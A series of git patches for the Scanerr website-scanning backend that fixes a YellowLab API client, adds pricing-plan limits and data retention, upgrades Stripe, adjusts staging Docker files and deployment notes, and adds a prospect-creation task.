 app/api/utils/yellowlab.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 20800500..37efa8ae 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -43,7 +43,7 @@ def yellowlab_api(self) -> dict:
         }
         data = {
             "url": self.page.page_url,
-            "waitForResponse": false,
+            "waitForResponse": False,
             "device": self.configs["device"]
         }
 

From c82a20aedb89f1fcb0e233f9e5d4c33f7d545f99 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 14:52:50 -0700
Subject: [PATCH 0213/1099] fixed some small bugs

---
 app/api/utils/yellowlab.py | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 37efa8ae..2148f1a3 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -48,25 +48,29 @@ def yellowlab_api(self) -> dict:
         }
 
         # setting up initial request
-        _res = requests.post(
+        res = requests.post(
             url=f'{settings.YELLOWLAB_ROOT}/api/runs',
             data=json.dumps(data),
             headers=headers
-        )
+        ).json()
 
-        # retrieve response
+        # retrieve runId
         run_id = res['runId']
         
         wait_time = 0
         max_wait = 1200
         done = False
+
+        # waiting for run to complete
         while not done and wait_time < max_wait:
 
+            # sending run request check
             res = requests.get(
                 url=f'{settings.YELLOWLAB_ROOT}/api/runs/{run_id}',
                 headers=headers
             ).json()
 
+            # checking status
             status = res['status']['statusCode']
             position = res['status'].get('position')
             if status == 'awaiting':

From 08463218d53f088ab730f93dd7b2d5fe845c453a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 14:56:41 -0700
Subject: [PATCH 0214/1099] adding deps

---
 app/api/utils/yellowlab.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 2148f1a3..85b9f03d 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -1,4 +1,5 @@
-import subprocess, json, uuid, boto3, shutil, os, requests
+import subprocess, json, uuid, boto3, \
+shutil, os, requests, time
 from ..models import Site, Scan
 from scanerr import settings
 

From da4aedd30c02b6fe6d94751e677c08dc360fc1eb Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 15:01:25 -0700
Subject: [PATCH 0215/1099] fixed processing error

---
 app/api/utils/yellowlab.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 85b9f03d..72afdfcb 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -99,7 +99,7 @@ def yellowlab_api(self) -> dict:
 
 
     
-    def process_data(self, data: dict) -> dict:
+    def process_data(self, stdout_json: dict) -> dict:
         """ 
         Accepts JSON data from either CLI or API method 
         and parses into usable Scanerr data.
@@ -213,7 +213,7 @@ def get_data(self):
 
                 # convert to dict
                 stdout_json = json.loads(stdout_value)
-                data = self.process_data(data=stdout_json)
+                data = self.process_data(stdout_json=stdout_json)
                 return data
                 
             else:
@@ -225,7 +225,7 @@ def get_data(self):
 
             try:
                 raw_data = self.yellowlab_api()
-                data = self.process_data(data=raw_data)
+                data = self.process_data(stdout_json=raw_data)
                 return data
 
             except Exception as e:

From d01f7920f727e4cc3dc09967bb9e97ac6907e1e8 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 15:12:51 -0700
Subject: [PATCH 0216/1099] fixed data processing issue

---
 app/api/utils/yellowlab.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 72afdfcb..6e5a8ea4 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -94,7 +94,7 @@ def yellowlab_api(self) -> dict:
             headers=headers
         ).json()
     
-        return data
+        return res
 
 
 
@@ -105,7 +105,7 @@ def process_data(self, stdout_json: dict) -> dict:
         and parses into usable Scanerr data.
 
         Expects the following:
-            data: <dict> or json from output
+            stdout_json: <dict> or json from output
             
         Returns --> formatted YL data <dict> 
         """

From 1dcd02903e4e2abceec9d25ce81965d187c97ec0 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 29 Jan 2024 15:18:20 -0700
Subject: [PATCH 0217/1099] fixed s3 config issue

---
 app/api/utils/yellowlab.py | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 6e5a8ea4..daadaf91 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -110,6 +110,14 @@ def process_data(self, stdout_json: dict) -> dict:
         Returns --> formatted YL data <dict> 
         """
 
+        # setup boto3 configurations
+        s3 = boto3.client(
+            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+
         # initial audits object
         audits = {
             "pageWeight": [], 
@@ -191,14 +199,6 @@ def process_data(self, stdout_json: dict) -> dict:
 
 
     def get_data(self):
-
-        # setup boto3 configurations
-        s3 = boto3.client(
-            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
-            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
-            region_name=str(settings.AWS_S3_REGION_NAME), 
-            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
-        )
         
         # try CLI method first
         try:

From e5a16b6449af83b78771b1c14b02b9474ec054a8 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 31 Jan 2024 10:29:29 -0700
Subject: [PATCH 0218/1099] rollling out new pricing structure

---
 app/api/models.py              |   5 +-
 app/api/tasks.py               |  30 ++++++--
 app/api/v1/auth/serializers.py |   3 +-
 app/api/v1/auth/services.py    |  15 ++++
 app/api/v1/billing/views.py    |  28 +++++++-
 app/api/v1/ops/services.py     | 122 ++++++++++++++++++++++++---------
 6 files changed, 162 insertions(+), 41 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index a4ab2198..7f4b2e65 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -246,7 +246,10 @@ class Account(models.Model):
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True, default='free')
     code = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     max_sites = models.IntegerField(serialize=True, null=True, blank=True, default=1)
-    max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=5)
+    max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=3)
+    max_schedules = models.IntegerField(serialize=True, null=True, blank=True, default=0)
+    retention_days = models.IntegerField(serialize=True, null=True, blank=True, default=3)
+    testcases = BooleanField(default=False, serialize=False)
     cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
diff --git a/app/api/tasks.py b/app/api/tasks.py
index c5d0b4c3..2573dd5c 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -509,11 +509,17 @@ def create_testcase_bg(
 
 
 @shared_task
-def delete_old_resources(days_to_live=30):
+def delete_old_resources(account_id=None, days_to_live=30):
     max_date = datetime.now() - timedelta(days=days_to_live)
-    tests = Test.objects.filter(time_created__lte=max_date)
-    scans = Scan.objects.filter(time_created__lte=max_date)
-    testcases = Testcase.objects.filter(time_created__lte=max_date)
+
+    if account_id is not None:
+        tests = Test.objects.filter(account__id=account_id, time_created__lte=max_date)
+        scans = Scan.objects.filter(account__id=account_id, time_created__lte=max_date)
+        testcases = Testcase.objects.filter(account__id=account_id, time_created__lte=max_date)
+    else:
+        tests = Test.objects.filter(time_created__lte=max_date)
+        scans = Scan.objects.filter(time_created__lte=max_date)
+        testcases = Testcase.objects.filter(time_created__lte=max_date)
 
     for test in tests:
         delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
@@ -530,6 +536,22 @@ def delete_old_resources(days_to_live=30):
 
 
 
+
+@shared_task
+def data_retention():
+    accounts = Account.objects.all()
+    for account in accounts:
+        delete_old_resources.delay(
+            account_id=account.id,
+            days_to_live=account.retention_days
+        )
+    
+    logger.info('Requested resource cleanup')
+
+
+
+
+
 @shared_task
 def delete_admin_sites(days_to_live=1):
     max_date = datetime.now() - timedelta(days=days_to_live)
diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index c9dd3bc1..3d0735f8 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -71,7 +71,8 @@ class Meta:
         model = Account
         fields = ['id', 'active', 'time_created', 'type',
         'cust_id', 'sub_id', 'product_id', 'price_id', 'slack',
-        'user', 'code', 'name', 'price_amount',
+        'user', 'code', 'name', 'price_amount', 'max_sites', 
+        'max_pages', 'max_schedules', 'testcases', 'retention_days'
         ]
 
 
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 105231fc..5e356ca7 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -259,6 +259,9 @@ def create_or_update_account(request=None, *args, **kwargs):
         code = request.data.get('code')
         max_sites = request.data.get('max_sites')
         max_pages = request.data.get('max_pages')
+        max_schedules = request.data.get('max_schedules')
+        retention_days = request.data.get('retention_days')
+        testcases = request.data.get('testcases')
         cust_id = request.data.get('cust_id')
         sub_id = request.data.get('sub_id')
         product_id = request.data.get('product_id')
@@ -274,6 +277,9 @@ def create_or_update_account(request=None, *args, **kwargs):
         code = kwargs.get('code')
         max_sites = kwargs.get('max_sites')
         max_pages = kwargs.get('max_pages')
+        max_schedules = kwargs.get('max_schedules')
+        retention_days = kwargs.get('retention_days')
+        testcases = kwargs.get('testcases')
         cust_id = kwargs.get('cust_id')
         sub_id = kwargs.get('sub_id')
         product_id = kwargs.get('product_id')
@@ -301,6 +307,12 @@ def create_or_update_account(request=None, *args, **kwargs):
             account.max_sites = max_sites
         if max_pages is not None:
             account.max_pages = max_pages
+        if max_schedules is not None:
+            account.max_schedules = max_schedules
+        if retention_days is not None:
+            account.retention_days = retention_days
+        if testcases is not None:
+            account.testcases = testcases
         if cust_id is not None:
             account.cust_id = cust_id
         if sub_id is not None:
@@ -330,6 +342,9 @@ def create_or_update_account(request=None, *args, **kwargs):
             code=code,
             max_sites=max_sites,
             max_pages=max_pages,
+            max_schedules=max_schedules if max_schedules is not None else 0,
+            retention_days=retention_days if retention_days is not None else 3,
+            testcases=testcases if testcases is not None else False,
             cust_id=cust_id,
             sub_id=sub_id,
             product_id=product_id,
diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py
index bd197d43..2e93b0ff 100644
--- a/app/api/v1/billing/views.py
+++ b/app/api/v1/billing/views.py
@@ -193,6 +193,9 @@ def post(self, request):
                 'price_amount': account.price_amount,
                 'max_sites': account.max_sites,
                 'max_pages': account.max_pages,
+                'max_schedules': account.max_schedules,
+                'retention_days': account.retention_days,
+                'testcases': account.testcases,
                 'slack': {
                     'slack_name': account.slack['slack_name'], 
                     'bot_user_id': account.slack['bot_user_id'], 
@@ -221,6 +224,14 @@ def post(self, request):
         price_amount = int(request.data.get('price_amount'))
         max_sites = int(request.data.get('max_sites'))
         max_pages = int(request.data.get('max_pages'))
+        max_schedules = int(request.data.get('max_schedules'))
+        retention_days = int(request.data.get('retention_days'))
+        testcases = str(request.data.get('testcases', False))
+
+        if testcases.lower() == 'true':
+            testcases = True
+        if testcases.lower() == 'false':
+            testcases = False
 
         if not Account.objects.filter(user=user).exists():
             create_or_update_account(
@@ -228,6 +239,9 @@ def post(self, request):
                 type=name,
                 max_sites=max_sites,
                 max_pages=max_pages,
+                max_schedules=max_schedules,
+                retention_days=retention_days,
+                testcases=testcases
             )
 
         account = Account.objects.get(user=user)
@@ -285,6 +299,9 @@ def post(self, request):
             max_sites = max_sites,
             max_pages = max_pages,
             price_amount = price_amount,
+            max_schedules = max_schedules,
+            retention_days = retention_days,
+            testcases = testcases
         )        
 
         data = {
@@ -325,6 +342,9 @@ def post(self, request):
                     'price_amount': account.price_amount,
                     'max_sites': account.max_sites,
                     'max_pages': account.max_pages,
+                    'max_schedules': account.max_schedules,
+                    'retention_days': account.retention_days,
+                    'testcases': account.testcases,
                     'slack': {
                         'slack_name': account.slack['slack_name'], 
                         'bot_user_id': account.slack['bot_user_id'], 
@@ -382,6 +402,12 @@ def post(self, request):
                 'plan': {
                     'name': account.type,
                     'active': account.active,
+                    'price_amount': account.price_amount,
+                    'max_sites': account.max_sites,
+                    'max_pages': account.max_pages,
+                    'max_schedules': account.max_schedules,
+                    'retention_days': account.retention_days,
+                    'testcases': account.testcases,
                     'slack': {
                         'slack_name': account.slack['slack_name'], 
                         'bot_user_id': account.slack['bot_user_id'], 
@@ -389,7 +415,7 @@ def post(self, request):
                         'bot_access_token': account.slack['bot_access_token'], 
                         'slack_channel_id': account.slack['slack_channel_id'], 
                         'slack_channel_name': account.slack['slack_channel_name'],
-                    },
+                    }
                 },
             }
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 6eacec9c..47416203 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -50,14 +50,68 @@ def record_api_call(request, data, status):
 
 
 
-def check_account(request=None, user=None):
+def check_account(request=None, user=None, resource=None, site_id=None):
+    
+    allowed = True
+    error = None
+    member = None
+
     if request is not None:
         user = request.user
     if Member.objects.filter(user=user).exists():
         member = Member.objects.get(user=user)
-        return member.account.active
+        account = member.account
+        allowed = member.account.active
+        if not allowed:
+            error = 'account not funded'
     else:
-        return False
+        allowed = False
+        error = 'no account assocation'
+    
+    # returning early bc account 
+    # is not funded or not associated
+    if not allowed:
+        data = {
+            'allowed': allowed,
+            'error': error 
+        }
+        return data
+
+    # checking resource limit
+    if resource is not None:
+        # checking pages
+        if resource == 'page':
+            current_page_count = Page.objects.filter(account=account, site__id=site_id).count()
+            if current_page_count >= account.max_pages:
+                allowed = False
+                error = 'max pages reached, please upgrade plan'
+        # checking sites
+        if resource == 'site':
+            current_site_count = Site.objects.filter(account=account).count()
+            if current_site_count >= account.max_sites:
+                allowed = False
+                error = 'max sites reached, please upgrade plan'
+        # checking schedules
+        if resource == 'schedule':
+            current_site_count = Schedule.objects.filter(account=account).count()
+            if current_site_count >= account.max_schedules:
+                allowed = False
+                error = 'max schedules reached, please upgrade plan'
+        # checking testcases
+        if resource == 'testcase':
+            if not account.testcases:
+                allowed = False
+                error = 'testcases not allowed, please upgrade plan'
+    
+    # returning data
+    data = {
+        'allowed': allowed,
+        'error': error 
+    }
+    return data
+        
+
+    
 
 
 
@@ -84,9 +138,9 @@ def create_site(request, delay=False):
         record_api_call(request, data, '400')
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
 
-    account_is_active = check_account(request=request)
-    if not account_is_active:
-        data = {'reason': 'account not funded',}
+    check_data = check_account(request=request, resource='site')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
 
@@ -189,9 +243,9 @@ def crawl_site(request, id):
     user = request.user
     account = Member.objects.get(user=user).account
 
-    account_is_active = check_account(request=request)
-    if not account_is_active:
-        data = {'reason': 'account not funded',}
+    check_data = check_account(request=request)
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
     try:
@@ -384,9 +438,9 @@ def create_page(request, delay=False):
         record_api_call(request, data, '400')
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
 
-    account_is_active = check_account(request=request)
-    if not account_is_active:
-        data = {'reason': 'account not funded',}
+    check_data = check_account(request=request, resource='page', site_id=site_id)
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
 
@@ -474,13 +528,13 @@ def create_many_pages(request, obj_response=False):
     site = Site.objects.get(id=site_id)
     pages = Page.objects.filter(site=site)
 
-    account_is_active = check_account(request=request)
-    if not account_is_active:
-        data = {'reason': 'account not funded',}
+    check_data = check_account(request=request, resource='page', site_id=site_id)
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
 
-    if pages.count() >= account.max_pages:
+    if (pages.count() + len(page_urls)) >= account.max_pages:
         data = {'reason': 'maximum number of pages reached',}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
@@ -732,9 +786,9 @@ def create_scan(request=None, delay=False, *args, **kwargs):
         user = User.objects.get(id=user_id)
     account = Member.objects.get(user=user).account
 
-    account_is_active = check_account(user=user)
-    if not account_is_active:
-        data = {'reason': 'account not funded', 'success': False}
+    check_data = check_account(request=request)
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'], 'success': False}
         if request is not None:
             record_api_call(request, data, '402')
             return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
@@ -1147,9 +1201,9 @@ def create_test(request=None, delay=False, *args, **kwargs):
         # get data from kwargs
     account = Member.objects.get(user=user).account
 
-    account_is_active = check_account(user=user)
-    if not account_is_active:
-        data = {'reason': 'account not funded', 'success': False,}
+    check_data = check_account(request=request)
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'], 'success': False}
         if request is not None:
             record_api_call(request, data, '402')
             return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
@@ -1617,9 +1671,9 @@ def create_or_update_schedule(request):
     user = request.user
     account = Member.objects.get(user=user).account
 
-    account_is_active = check_account(request=request)
-    if not account_is_active:
-        data = {'reason': 'account not funded',}
+    check_data = check_account(request=request, resource='schedule')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
     try:
@@ -1978,9 +2032,9 @@ def create_or_update_automation(request):
     user = request.user
     account = Member.objects.get(user=user).account
 
-    account_is_active = check_account(request=request)
-    if not account_is_active:
-        data = {'reason': 'account not funded',}
+    check_data = check_account(request=request)
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
 
@@ -2308,9 +2362,9 @@ def create_or_update_case(request):
     user = request.user
     account = Member.objects.get(user=user).account
 
-    account_is_active = check_account(request=request)
-    if not account_is_active:
-        data = {'reason': 'account not funded',}
+    check_data = check_account(request=request)
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
 
@@ -2440,9 +2494,9 @@ def create_testcase(request, delay=False):
     account = Member.objects.get(user=user).account
 
 
-    account_is_active = check_account(request=request)
-    if not account_is_active:
-        data = {'reason': 'account not funded',}
+    check_data = check_account(request=request, resource='testcase')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
 

From fc50f23a7a1a183a392961279f4dab0c524b34c5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 31 Jan 2024 10:38:25 -0700
Subject: [PATCH 0219/1099] fixed typo

---
 app/api/models.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/models.py b/app/api/models.py
index 7f4b2e65..5c3cbf9d 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -249,7 +249,7 @@ class Account(models.Model):
     max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=3)
     max_schedules = models.IntegerField(serialize=True, null=True, blank=True, default=0)
     retention_days = models.IntegerField(serialize=True, null=True, blank=True, default=3)
-    testcases = BooleanField(default=False, serialize=False)
+    testcases = models.BooleanField(default=False, serialize=False)
     cust_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     sub_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     product_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)

From 2f93b66b6a09b1c4016f63f684615be40ae6b637 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 31 Jan 2024 10:55:56 -0700
Subject: [PATCH 0220/1099] upgrading stripe

---
 requirements.txt | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/requirements.txt b/requirements.txt
index 6887ed19..b715ae20 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -44,7 +44,7 @@ sendgrid==6.9.7
 six==1.16.0
 slack-sdk==3.11.2
 sqlparse==0.4.1
-stripe==2.60.0
+stripe==8.0.0
 tornado==6.1
 twilio==7.3.0
 urllib3==1.26.5

From 76b7880df619cd434bcfc538e1d886d855e7cdcc Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 31 Jan 2024 13:35:51 -0700
Subject: [PATCH 0221/1099] fixed staging env

---
 Dockerfile.local         | 2 +-
 docker-compose.stage.yml | 5 ++---
 2 files changed, 3 insertions(+), 4 deletions(-)

diff --git a/Dockerfile.local b/Dockerfile.local
index 257b6136..b336cdf6 100644
--- a/Dockerfile.local
+++ b/Dockerfile.local
@@ -33,7 +33,7 @@ ENV NODE_OPTIONS=--max_old_space_size=7000
 ENV NODE_OPTIONS="--max-old-space-size=7000"
 
 # installing lighthouse & yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash
 
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
index 8d42a766..ccd0c90d 100644
--- a/docker-compose.stage.yml
+++ b/docker-compose.stage.yml
@@ -6,8 +6,7 @@ services:
     init: true
     restart: always
     build:
-      context: .
-      dockerfile: Dockerfile
+      dockerfile: Dockerfile.local
     # image: landonr/scanerr-server
     ports:
       - "8000:8000"
@@ -35,7 +34,7 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile
+      dockerfile: Dockerfile.local
     # image: landonr/scanerr-server
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:

From 349424c94475c450d57f00b9d6b7bdeb081ec93e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 31 Jan 2024 13:36:07 -0700
Subject: [PATCH 0222/1099] updated notes

---
 notes/Deployment.md | 8 +++++++-
 notes/Kubernetes.md | 9 ++++++---
 2 files changed, 13 insertions(+), 4 deletions(-)

diff --git a/notes/Deployment.md b/notes/Deployment.md
index 91d366f2..9b161d1f 100644
--- a/notes/Deployment.md
+++ b/notes/Deployment.md
@@ -93,12 +93,18 @@ $ cat ~/.ssh/id_ed25519.pub
 - copy key to clipboard and paste in GutHub
 
 
+*Add ssh_key.pub to {user} authorized_keys*
+```shell
+$ {your_ssh_key.pub} >> ~/.ssh/authorized_keys
+```
+
+
 *Create a dir to clone the app into*
 ``` shell
 $ cd ~
 $ mkdir app
 $ cd app
-$ git clone https://github.com/Scanerr-io/server.git
+$ git clone git@github.com:Scanerr-io/server.git
 ```
 *Spin-up the application*
 ```shell
diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index e90ca6b9..e29fd972 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -142,6 +142,9 @@ kubectl port-forward service/app-service 8000:8000
 ---
 
 ## Migration Notes for DB:
-1. Ensure state is where you want it to be (i.e. local migration files are what you expect) or delete any new migration files that were generated during development
-2. Spinup staging env locally
-3. Push new migration changes to github
\ No newline at end of file
+1. Go to `models.py` and comment out all new additions
+2. Spinup staging env locally to create `00001_initial.py` migration as baseline
+3. Spin down staging env
+4. Un-comment all new additions in `models.py`
+5. Spinup staging env locally again and ensure a new migration file is created in `/migrations`
+3. Spin down staging env and merge `dev` branch on github
\ No newline at end of file

From 2e41dd4e3354e88c68798637076b9b725a53fffc Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 31 Jan 2024 13:52:16 -0700
Subject: [PATCH 0223/1099] testing new query method

---
 app/api/tasks.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 2573dd5c..a71836f0 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -513,8 +513,8 @@ def delete_old_resources(account_id=None, days_to_live=30):
     max_date = datetime.now() - timedelta(days=days_to_live)
 
     if account_id is not None:
-        tests = Test.objects.filter(account__id=account_id, time_created__lte=max_date)
-        scans = Scan.objects.filter(account__id=account_id, time_created__lte=max_date)
+        tests = Test.objects.filter(site__account__id=account_id, time_created__lte=max_date)
+        scans = Scan.objects.filter(site__account__id=account_id, time_created__lte=max_date)
         testcases = Testcase.objects.filter(account__id=account_id, time_created__lte=max_date)
     else:
         tests = Test.objects.filter(time_created__lte=max_date)

From 3eafaa4516f64050666bd0a499afdb187891e50c Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 31 Jan 2024 16:43:41 -0700
Subject: [PATCH 0224/1099] testing scan issue

---
 app/api/v1/ops/services.py | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 47416203..95f7254c 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -786,13 +786,14 @@ def create_scan(request=None, delay=False, *args, **kwargs):
         user = User.objects.get(id=user_id)
     account = Member.objects.get(user=user).account
 
-    check_data = check_account(request=request)
-    if not check_data['allowed']:
-        data = {'reason': check_data['error'], 'success': False}
-        if request is not None:
-            record_api_call(request, data, '402')
-            return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
-        return data
+    if request is not None:
+        check_data = check_account(request=request)
+        if not check_data['allowed']:
+            data = {'reason': check_data['error'], 'success': False}
+            if request is not None:
+                record_api_call(request, data, '402')
+                return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+            return data
 
     if len(types) == 0:
         types = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']

From 6d1993e0054820eadf5f22b2c7cffcaafecc773e Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 31 Jan 2024 16:51:53 -0700
Subject: [PATCH 0225/1099] fixed typo

---
 notes/Kubernetes.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notes/Kubernetes.md b/notes/Kubernetes.md
index e29fd972..565446d1 100644
--- a/notes/Kubernetes.md
+++ b/notes/Kubernetes.md
@@ -83,7 +83,7 @@ kubectl port-forward service/app-service 8000:8000
 
       
 
-## Setps to Deploy Remotly
+## Setps to Deploy Remotely
 
 
 ### 1. Create docker secrets  

From 49cb22719e9263ef0cad1ddcc3c9409cb1112669 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 2 Feb 2024 08:40:21 -0700
Subject: [PATCH 0226/1099] adding prospect creation method on site_create()

---
 app/api/tasks.py           | 44 +++++++++++++++++++++++++++++++++++++-
 app/api/v1/ops/services.py |  7 +++++-
 app/scanerr/settings.py    |  3 ++-
 3 files changed, 51 insertions(+), 3 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index a71836f0..f2759289 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -21,7 +21,7 @@
 from .utils.driver_p import driver_test
 from .v1.auth.alerts import send_invite_link, send_remove_alert
 from asgiref.sync import async_to_sync
-import asyncio, boto3, time
+import asyncio, boto3, time, requests, json
 from datetime import datetime, timedelta, date
 from scanerr import settings
 
@@ -566,6 +566,48 @@ def delete_admin_sites(days_to_live=1):
 
 
 
+@shared_task
+def create_prospect(user):
+    
+    # setup configs
+    url = f'{settings.LANDING_API_ROOT}/v1/ops/prospect'
+    headers = {
+        "content-type": "application/json",
+        "Authorization" : f'Token {settings.LANDING_API_KEY}'
+    }
+    data = {
+        'first_name': user.first_name,
+        'last_name': user.last_name,
+        'email': user.email,
+        'status': 'warm',
+        'source': 'app',
+    }
+    
+    try:
+        # send the request
+        res = requests.post(
+            url=url, 
+            headers=headers, 
+            data=json.dumps(data)
+        ).json()
+
+        success = True
+        message = res
+
+    except Exception as e:
+        success = False
+        message = res
+
+    data = {
+        'success': success,
+        'message': message
+    }
+    
+    logger.info(f'Sent Prospect creation request -> {data}')
+
+
+
+
 @shared_task
 def migrate_site_bg(
         login_url, 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 95f7254c..874d7fc0 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1,4 +1,4 @@
-import json, boto3, asyncio, os
+import json, boto3, asyncio, os, requests
 from datetime import datetime
 from django.contrib.auth.models import User
 from django_celery_beat.models import CrontabSchedule, PeriodicTask
@@ -164,6 +164,11 @@ def create_site(request, delay=False):
             account=account
         )
 
+        # check if this is account's first site
